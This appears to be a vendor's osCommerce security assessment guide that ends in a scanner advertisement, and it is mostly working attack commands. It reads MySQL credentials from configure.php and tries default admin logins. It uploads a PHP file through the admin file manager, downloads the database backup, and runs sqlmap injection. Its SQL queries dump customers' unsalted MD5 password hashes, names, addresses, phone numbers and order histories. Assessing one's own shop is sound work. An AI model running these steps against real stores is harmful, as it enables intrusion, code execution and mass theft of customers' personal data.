osCommerce is one of the oldest and most widely deployed e-commerce platforms, with millions of legacy installations running outdated versions across the web. Key assessment areas: catalog/includes/configure.php exposes MySQL credentials; admin/admin is a common default; the admin panel includes a file manager enabling PHP file uploads; the customers table uses weak MD5 hashes; and many deployments remain vulnerable to historical SQL injection CVEs. This guide covers systematic osCommerce security assessment.
# osCommerce — configure.php MySQL credential extraction
OSC_URL="https://shop.example.com"
# catalog/includes/configure.php — osCommerce database configuration
cat /var/www/oscommerce/catalog/includes/configure.php 2>/dev/null
# define('DB_SERVER', 'localhost');
# define('DB_SERVER_USERNAME', 'oscommerce');
# define('DB_SERVER_PASSWORD', '...'); <-- MySQL password
# define('DB_DATABASE', 'oscommerce');
# define('DIR_FS_DOCUMENT_ROOT', '/var/www/oscommerce/catalog/');
python3 -c "
import re
content = open('/var/www/oscommerce/catalog/includes/configure.php').read()
patterns = {
'db_password': r\"define\('DB_SERVER_PASSWORD',\s*'([^']+)'\)\",
'db_username': r\"define\('DB_SERVER_USERNAME',\s*'([^']+)'\)\",
'db_server': r\"define\('DB_SERVER',\s*'([^']+)'\)\",
'db_database': r\"define\('DB_DATABASE',\s*'([^']+)'\)\",
'doc_root': r\"define\('DIR_FS_DOCUMENT_ROOT',\s*'([^']+)'\)\",
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# Admin configure.php — admin path and secret key
cat /var/www/oscommerce/catalog/admin/includes/configure.php 2>/dev/null | \
grep -E "HTTP_SERVER|DIR_WS_ADMIN"
# Test configure.php web access
for PATH in "catalog/includes/configure.php" "includes/configure.php" "admin/includes/configure.php"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${OSC_URL}/${PATH}" 2>/dev/null)
echo "${PATH}: HTTP ${STATUS}"
done
# Test admin login
for CRED in "admin:admin" "admin:password" "administrator:admin"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${OSC_URL}/admin/login.php" \
-d "username=${USER}&password=${PASS}" \
-c /tmp/osc_c -b /tmp/osc_c -L 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done# osCommerce admin panel — file manager and backup assessment
OSC_URL="https://shop.example.com"
# osCommerce admin panel exposes sensitive functions:
# - file_manager.php: file manager with upload capability
# - backup.php: database backup download
# - SQL query tool
# Check for /install/ directory (enables password reset via re-install)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${OSC_URL}/install/" 2>/dev/null)
echo "/install/: HTTP ${STATUS}"
# osCommerce admin file manager — PHP file upload
ADMIN_SESS="extracted-admin-session-cookie"
# Upload via admin/file_manager.php?action=upload
curl -s -X POST "${OSC_URL}/admin/file_manager.php?action=save" \
-b "osCAdminID=${ADMIN_SESS}" \
-F "file=@/tmp/test.php" \
2>/dev/null | head -5
# Admin backup download — contains full customer database
curl -s "${OSC_URL}/admin/backup.php" \
-b "osCAdminID=${ADMIN_SESS}" 2>/dev/null | head -20
# SQL injection testing — historical osCommerce vulnerabilities
# products_id parameter is a classic SQLi vector
sqlmap -u "${OSC_URL}/catalog/product_info.php?products_id=1" \
--dbs --batch 2>/dev/null | tail -10# osCommerce MySQL database — customer hash, PII, and order data extraction
DB_PASS="extracted-db-password"
mysql -u oscommerce -p"${DB_PASS}" oscommerce 2>/dev/null << 'EOF'
-- osCommerce customers table — PII and password hashes
SELECT c.customers_id, c.customers_email_address,
c.customers_password, -- MD5 hash (unsalted)
c.customers_firstname, c.customers_lastname,
c.customers_phone, c.customers_fax,
c.customers_newsletter, c.customers_group_id,
c.date_account_created, c.date_account_last_modified
FROM customers c
ORDER BY c.customers_id
LIMIT 20;
-- customers_password: unsalted MD5 -- trivially crackable
-- osCommerce administrators
SELECT a.admin_id, a.admin_name, a.admin_email,
a.admin_pass, a.admin_level,
a.admin_created, a.admin_modified
FROM administrators a
ORDER BY a.admin_id;
-- admin_pass: MD5 hash
-- Orders with customer PII and financial data
SELECT o.orders_id, o.customers_name, o.customers_email_address,
o.customers_telephone, o.billing_name,
o.billing_street_address, o.billing_postcode,
o.billing_country, o.payment_method,
o.currency, o.order_total,
o.date_purchased, o.last_modified
FROM orders o
ORDER BY o.orders_id DESC
LIMIT 20;
-- Order products (purchase history)
SELECT op.orders_id, op.products_name,
op.products_price, op.products_quantity,
o.customers_email_address, o.payment_method
FROM orders_products op
JOIN orders o ON o.orders_id = op.orders_id
ORDER BY op.orders_products_id DESC
LIMIT 20;
-- Customer addresses
SELECT ab.address_book_id, ab.entry_firstname,
ab.entry_lastname, ab.entry_street_address,
ab.entry_postcode, ab.entry_city, ab.entry_country_id,
c.customers_email_address
FROM address_book ab
JOIN customers c ON c.customers_id = ab.customers_id
ORDER BY ab.address_book_id
LIMIT 20;
EOF| Security Test | Method | Risk |
|---|---|---|
| catalog/includes/configure.php MySQL DB_SERVER_PASSWORD extraction | Read /var/www/oscommerce/catalog/includes/configure.php — database credentials for all customer PII, order data, and administrator hashes | Critical |
| /install/ directory accessibility enabling admin password reset | GET /install/ — HTTP 200 = re-installation wizard accessible; admin password reset without knowledge of current credentials | Critical |
| Admin credential brute-force (admin/admin, no lockout) | POST /admin/login.php — unlimited brute-force possible (no lockout); admin session enables file manager PHP upload RCE, database backup download | High |
| customers table unsalted MD5 hash extraction | MySQL SELECT customers_password FROM customers — unsalted MD5 cracks in milliseconds; all customer passwords effectively readable including payment account reuse | High |
| orders table customer PII and financial data extraction | MySQL SELECT from orders — customer names, addresses, phone numbers, email, purchase history, payment method; PCI DSS cardholder data scope | High |
Ironimo tests osCommerce deployments for catalog/includes/configure.php MySQL DB_SERVER_PASSWORD web exposure, /install/ directory post-installation accessibility, admin/admin brute-force at /admin/login.php (no lockout protection), customers table unsalted MD5 password hash extraction, administrators table MD5 admin hash extraction, orders table customer PII (name, address, phone, email) and payment method enumeration, address_book shipping address data extraction, admin/file_manager.php PHP file upload capability assessment, admin/backup.php database download access, and osCommerce version disclosure for SQL injection CVE targeting.
Start free scan